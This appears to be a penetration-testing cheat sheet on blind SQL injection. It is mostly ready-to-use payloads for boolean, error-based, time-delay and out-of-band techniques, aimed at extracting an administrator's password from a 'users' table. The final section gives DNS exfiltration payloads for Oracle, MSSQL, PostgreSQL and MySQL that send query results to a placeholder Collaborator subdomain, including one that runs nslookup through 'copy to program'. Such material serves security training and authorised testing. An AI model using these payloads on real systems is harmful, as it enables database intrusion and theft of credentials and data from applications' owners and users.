Blind SQL Injection

Observe differences within HTTP response in terms of headers, content or bytes

There are more techniques to detect blind SQL injection using:

Conditional Statements

Detect number of columns

A' OR 1=1 ORDER BY 1 -- comment

Detect database

A' AND TRUE=(SELECT @@version) -- comment          MySQL or MSSQL
A' AND 1=(SELECT 1 LIMIT 1) -- comment             pure MySQL syntax
A' AND TRUE=(SELECT version()) -- comment          pure PostgreSQL function
A' AND TRUE=(SELECT version FROM v$instance) -- comment Oracle v$view

Detect table

You need to know a table name, guess it, find it in the code (open source) or query the data dictionary using automation tools. Confirm the table name by the following query (MySQL)

A' AND 1=(SELECT 1 FROM users LIMIT 1) --

Specific data record (username)

In order to query a password from the application "users" table, match a record within the table.

A' AND 1=(SELECT 1 FROM users WHERE username='administrator' LIMIT 1) -- comment

Password length

A' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a' --

Query data - Burp Suite Intruder

Automate the attack in Burp Suite - Intruder, define an alphabet, and iterate over password character positions in the SUBSTRING('other dbs',1,1) or SUBSTR('oracle',1,1) functions.

A' AND 'a'=(SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator') -- comment

Conditional Errors

When error response is the only observation you have, raise an error on a positive match using conditional SQL statements (CASE, IF). First, detect the database platform.

Detect database

using string concetination functions to determine the database platform

Oracle	        'foo'||'bar'
Microsoft	'foo'+'bar'
PostgreSQL	'foo'||'bar'
MySQL	        CONCAT('foo','bar')
                'foo' 'bar' [Note the space between the two strings]

for example, extend a string value in a where close using || following an empty string (this string does not change however, teh database needs to evaluate the concetination operator.

A'||(SELECT '')||'        

Detect table

A'||(SELECT '' FROM dual)||'
A'||(SELECT '' FROM anytable)||'
A'||(SELECT '' FROM users WHERE ROWNUM=1)||'

Conditional statements

Test the coditional statement with zero division (CASE WHEN (1=1) and (1=2)

A'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

Specific data record (username)

A'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Password length

A'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
...
A'||(SELECT CASE WHEN LENGTH(password)>=20 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Query data - Burp Suite Intruder

A'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Time Delays

Detect database

Oracle	        dbms_pipe.receive_message(('a'),10)
Microsoft	WAITFOR DELAY '0:0:10'
PostgreSQL	SELECT pg_sleep(10)
MySQL	        SELECT sleep(10)
A'||pg_sleep(10)--

Conditional time delays

Oracle 	    SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft   IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
PostgreSQL  SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL 	    SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') 
A'||(SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END)--
A'||(SELECT CASE WHEN (1=(SELECT 1 FROM users where username='administrator')) THEN pg_sleep(2) ELSE pg_sleep(0) END)--
A'||(SELECT CASE WHEN LENGTH(password)>19 THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users where username='administrator')--
A'||(SELECT CASE WHEN SUBSTRING(password,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users where username='administrator')--

Detect table

A'||(SELECT CASE WHEN (1=(SELECT 1 FROM users where username='administrator')) THEN pg_sleep(2) ELSE pg_sleep(0) END)--

Password length

A'||(SELECT CASE WHEN LENGTH(password)>19 THEN pg_sleep(10) ELSE pg_sleep(0) END FROM users where username='administrator')--

Query data - Burp Suite Intruder

A'||(SELECT CASE WHEN SUBSTRING(password,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users where username='administrator')--

Out of Band

DNS lookup

--Oracle	
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:
SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')

-- Microsoft 	
exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'

-- PostgreSQL 
copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'

-- MySQL/windows only
SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

DNS lookup with data exfiltration

-- Oracle 	
SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual

-- Microsoft
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"')

-- PostgreSQL
create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (SELECT YOUR-QUERY-HERE);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

-- MySQL/Windows only
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a'

Last updated